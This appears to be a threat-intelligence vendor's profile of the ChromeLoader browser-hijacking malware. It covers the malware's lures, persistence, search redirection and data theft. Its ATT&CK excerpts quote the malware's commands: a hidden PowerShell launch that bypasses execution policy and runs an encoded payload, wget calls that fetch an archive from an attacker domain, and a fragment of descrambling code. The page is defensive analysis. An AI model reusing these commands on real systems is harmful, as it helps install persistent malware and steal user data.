Loading malware…
ChromeLoader, also known as Choziosi Loader and ChromeBack, is a widespread browser-hijacking malware family that installs malicious browser extensions to redirect user traffic, manipulate search results, and generate advertising revenue for its operators. First observed in late 2021 and publicly identified in 2022, it has primarily targeted Windows systems and has also been documented on macOS. The malware is commonly associated with lures themed as cracked software, game cheats, pirated media, freeware, and similar illicit or free-download content, and has been linked to malvertising, SEO-poisoning, and broader pay-per-install style distribution activity including delivery by the Charcoal Stork cluster.
On Windows, ChromeLoader has been delivered through ZIP archives containing mounted ISO or VHD disk images that expose a loader executable. That loader establishes persistence, commonly through scheduled tasks and PowerShell, then downloads and installs a malicious Chromium extension. Some later variants used MSI, EXE, Visual Basic Script, NodeJS or NW.js-based components, registry Run keys, Startup shortcuts, and other evolving installer chains. On macOS, documented variants used DMG files and shell scripts to retrieve and load malicious extensions into browsers, with persistence mechanisms including LaunchAgents.
The core functionality is browser hijacking. ChromeLoader modifies browser settings, intercepts searches from major search engines, redirects traffic through attacker-controlled infrastructure, and exfiltrates search queries and related browser data. Multiple analyses also describe ad-opening behavior, analytics or heartbeat traffic, obstruction of extension-management pages, and attempts to disable or remove competing extensions. Persistence is a defining trait: variants repeatedly reinstall the extension after reboot or user removal attempts, making the infection notably stubborn.
ChromeLoader has targeted Chromium-based browsers extensively and some variants included support for Firefox or Safari, though Chromium hijacking is the most consistently documented behavior. Beyond adware-style monetization, reporting has also described infostealer-like behavior, including theft of browser data and search telemetry. The family has remained prevalent across multiple reporting periods through 2024, reflecting both durable distribution channels and frequent adaptation of its loaders, obfuscation, and extension logic.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
ChromeLoader is a browser hijacker capable of redirecting searches for popular search engines such as Google, Bing and Yahoo, sending search data to its C2, and adding and preventing users from uninstalling a malicious browser extension.
34 distinct techniques documented for this family, organized by ATT&CK tactic.
The PowerShell process executed WMI queries, used for installing a new scheduled task named chrome *
ChromeLoader uses a Windows API Microsoft.Win32.TaskScheduler to create a Scheduled task... The scheduled task contains the following command which executes a PowerShell command with a base64 payload.
The scheduled task contains the following command which executes a PowerShell command with a base64 payload. cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E <base64EncodedPayload>
The persistence is configured to execute a PowerShell command that runs a base64 encoded payload... cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E <base64EncodedPayload>
The malware launched a cmd.exe process, which in turn executed powershell.exe.
In this case, the dropper is a disk image (DMG) file ... containing several files, including one bash script.
ChromeLoader uses a Windows API Microsoft.Win32.TaskScheduler to create a Scheduled task... The scheduled task contains the following command which executes a PowerShell command with a base64 payload.
ChromeLoader creates one of the following registry keys for Scheduled task Location 2: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\TREE\ChromeLoader
Once the extension is saved, it extracts the data and installs it into Chrome.
A descramble function exists to reconstructs base64 payload... Obfuscated Javascript background.js (truncated)
Before creating the folder, the malware verifies if one of the following paths already exists: %AppData%\Local\chrome_metric ... chrome_history ... chrome_glass ... chrome_nav
A descramble function exists to reconstructs base64 payload... foreach ( char c in File . ReadAllText ( "_meta.txt" ) ) { if ( replaceDict . ContainsKey ( c ) ) { res += replaceDict [ c ]
It also intercepts keyboard keys to account for the users that use the keyboard to navigate the results.
It also intercepts keyboard keys to account for the users that use the keyboard to navigate the results.
wget " https:// $domain /archive.zip " ... wget " https:// $domain /un?did= $dd &ver= $ver "
The Chrome Extension periodically makes web requests every 30 minutes to generate Ads. Analytics is sent to the attackers domain every 3 hours.
314 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
18 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Malware campaign referenced as delivering malicious browser extensions via VHD files and maintaining persistence by reinstalling the extension after reboot using Windows Task Scheduler.
Malware that abuses Chromium browser launch parameters by modifying Chrome shortcuts/LNK files to load malicious browser extensions, enabling sideloading and persistence inside the browser process.
Named malware family referenced in the context of Sigma detection for malicious Chrome extension loading and browser-focused compromise activity.
ChromeLoader is described as a malware campaign delivered via disguised cracked software downloads that installs a Chrome extension to hijack search results and redirect users through attacker-controlled pages.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.